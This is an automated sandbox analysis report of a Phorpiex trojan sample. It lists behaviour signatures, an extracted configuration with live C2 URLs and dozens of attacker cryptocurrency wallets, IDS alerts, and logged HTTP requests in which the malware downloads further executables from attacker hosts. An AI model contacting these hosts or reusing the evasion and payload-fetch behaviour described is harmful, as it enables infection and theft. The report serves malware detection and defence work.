Windows Analysis Report
Bjl3geiFEK.exe

Overview

General Information

Sample name: Bjl3geiFEK.exe
renamed because original name is a hash value
Original sample name: ed9fbbbe548c41479cb70e4d694793d0.exe
Analysis ID: 1543742
MD5: ed9fbbbe548c41479cb70e4d694793d0
SHA1: a0bde162d2241ab2acb58544511a41df30a096a7
SHA256: 6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e
Tags: 32exetrojan
Infos:

Detection

Phorpiex
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Sigma detected: Stop multiple services
Suricata IDS alerts for network traffic
Yara detected Phorpiex
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to check if Internet connection is working
Contains functionality to detect sleep reduction / modifications
Drops PE files with a suspicious file extension
Drops executables to the windows directory (C:\Windows) and starts them
Found evasive API chain (may stop execution after checking mutex)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Stops critical windows services
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found evasive API chain (may stop execution after accessing registry keys)
Found large amount of non-executed APIs
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
May check if the current machine is a sandbox (GetTickCount - Sleep)
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Windows\sysppvrdnvs.exe Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\33080.scr Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Avira: detection malicious, Label: HEUR/AGEN.1315882
Found malware configuration
Source: 2.2.sysppvrdnvs.exe.400000.0.unpack Malware Configuration Extractor: Phorpiex {"C2 url": ["http://185.215.113.66/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\33080.scr ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\818921588.exe ReversingLabs: Detection: 81%
Source: C:\Windows\sysppvrdnvs.exe ReversingLabs: Detection: 81%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe Joe Sandbox ML: detected
Source: C:\Windows\sysppvrdnvs.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\33080.scr Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\818921588.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 1_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 2_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 17_2_0040C830

Phishing
barindex
Yara detected Phorpiex
Source: Yara match File source: 18.0.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.0.33080.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.818921588.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.1995595599.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.1976001209.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.1975136463.0000000000410000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1840086247.000000000042E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1953713247.00000000048C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000000.1827597836.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000000.1806932551.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.1955113533.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 33080.scr PID: 7112, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 3060, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sysppvrdnvs.exe PID: 4628, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 818921588.exe PID: 1516, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe, type: DROPPED
Source: Yara match File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\33080.scr, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\818921588.exe, type: DROPPED
Uses 32bit PE files
Source: Bjl3geiFEK.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll Jump to behavior
Source: Bjl3geiFEK.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 1_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 1_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 2_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 2_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose, 17_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW, 17_2_004067A0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49734 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:50345 -> 5.75.95.114:40500
Source: Network traffic Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49731 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49734
Source: Network traffic Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:50345 -> 5.239.153.192:40500
Source: Network traffic Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:57562 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 185.215.113.66:80 -> 192.168.2.4:49730
Source: Network traffic Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:57563 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 185.215.113.66:80 -> 192.168.2.4:49730
Source: Network traffic Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49731
Contains functionality to check if Internet connection is working
Source: C:\Users\user\AppData\Local\Temp\33080.scr Code function: 1_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com 1_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe Code function: 2_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com 2_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe Code function: 17_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com 17_2_0040B430
Contains functionality to download and execute PE files
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_004B10B0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49735 -> 2.186.114.89:40500
Source: global traffic TCP traffic: 192.168.2.4:57564 -> 2.63.29.22:40500
Source: global traffic UDP traffic: 192.168.2.4:50345 -> 5.239.153.192:40500
Source: global traffic UDP traffic: 192.168.2.4:50345 -> 5.75.95.114:40500
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 10:11:12 GMTContent-Type: application/octet-streamContent-Length: 85504Last-Modified: Sun, 20 Oct 2024 18:13:32 GMTConnection: keep-aliveETag: "6715484c-14e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a4 84 07 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ee 00 00 00 70 00 00 00 00 00 00 40 79 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 30 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 86 ed 00 00 00 10 00 00 00 ee 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 3f 00 00 00 00 01 00 00 40 00 00 00 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 90 2e 00 00 00 40 01 00 00 1c 00 00 00 32 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.66 185.215.113.66
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 91.202.233.141 91.202.233.141
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: TCIIR TCIIR
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 91.202.233.141:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:57562 -> 185.215.113.66:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:57563 -> 185.215.113.66:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic HTTP traffic detected: GET /dwntbl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe Code function: 0_2_004B10B0 Sleep,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,FindWindowA,MoveFileW,DeleteFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary, 0_2_004B10B0
Source: global traffic HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
